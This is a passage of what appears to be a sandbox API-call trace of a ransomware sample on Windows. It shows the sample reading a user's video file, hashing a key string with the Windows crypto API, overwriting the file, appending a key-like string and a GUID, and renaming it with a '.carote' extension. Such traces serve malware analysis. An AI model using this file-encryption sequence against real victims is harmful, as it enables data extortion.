dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0114.690] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.690] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x12f3a, lpOverlapped=0x0) returned 1 [0114.691] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.691] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0114.691] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.691] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.691] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0114.692] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0114.692] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.692] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0114.692] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0114.692] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0114.692] GetLastError () returned 0x0 [0114.692] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0114.692] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0114.692] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0114.692] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x12f40) returned 0x7b1c730 [0114.692] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.692] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0114.692] WriteFile (in: hFile=0x61c, lpBuffer=0x7b1c730*, nNumberOfBytesToWrite=0x12f35, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b1c730*, lpNumberOfBytesWritten=0x825fb24*=0x12f35, lpOverlapped=0x0) returned 1 [0114.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1c730 | out: hHeap=0x5010000) returned 1 [0114.693] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12f3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.693] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0114.693] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0114.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0114.693] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14908 [0114.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0114.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0114.693] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14908*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14908*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.693] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.693] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.693] CloseHandle (hObject=0x61c) returned 1 [0114.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x110) returned 0x79f8730 [0114.694] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x920) returned 0x7b14908 [0114.694] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0114.694] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\DrYYTX _BQbZrK6Uad\\WAmHWSt4u.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\dryytx _bqbzrk6uad\\wamhwst4u.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\DrYYTX _BQbZrK6Uad\\WAmHWSt4u.mp4.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\dryytx _bqbzrk6uad\\wamhwst4u.mp4.carote")) returned 1 [0114.695] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.695] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a25f78 | out: hHeap=0x5010000) returned 1 [0114.696] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c3b8420, ftCreationTime.dwHighDateTime=0x1d4c9f5, ftLastAccessTime.dwLowDateTime=0x61e64280, ftLastAccessTime.dwHighDateTime=0x1d4c9b9, ftLastWriteTime.dwLowDateTime=0x61e64280, ftLastWriteTime.dwHighDateTime=0x1d4c9b9, nFileSizeHigh=0x0, nFileSizeLow=0x12f3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WAmHWSt4u.mp4", cAlternateFileName="WAMHWS~1.MP4")) returned 0 [0114.696] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0114.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a5d770 | out: hHeap=0x5010000) returned 1 [0114.696] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109ae8 | out: hHeap=0x5010000) returned 1 [0114.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da2f0 | out: hHeap=0x5010000) returned 1 [0114.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0114.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20b28 | out: hHeap=0x5010000) returned 1 [0114.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20e48 | out: hHeap=0x5010000) returned 1 [0114.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20f10 | out: hHeap=0x5010000) returned 1 [0114.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109e30 | out: hHeap=0x5010000) returned 1 [0114.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f5b8 | out: hHeap=0x5010000) returned 1 [0114.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f1a60 | out: hHeap=0x5010000) returned 1 [0114.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50f5608 | out: hHeap=0x5010000) returned 1 [0114.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22e98 [0114.696] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0114.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 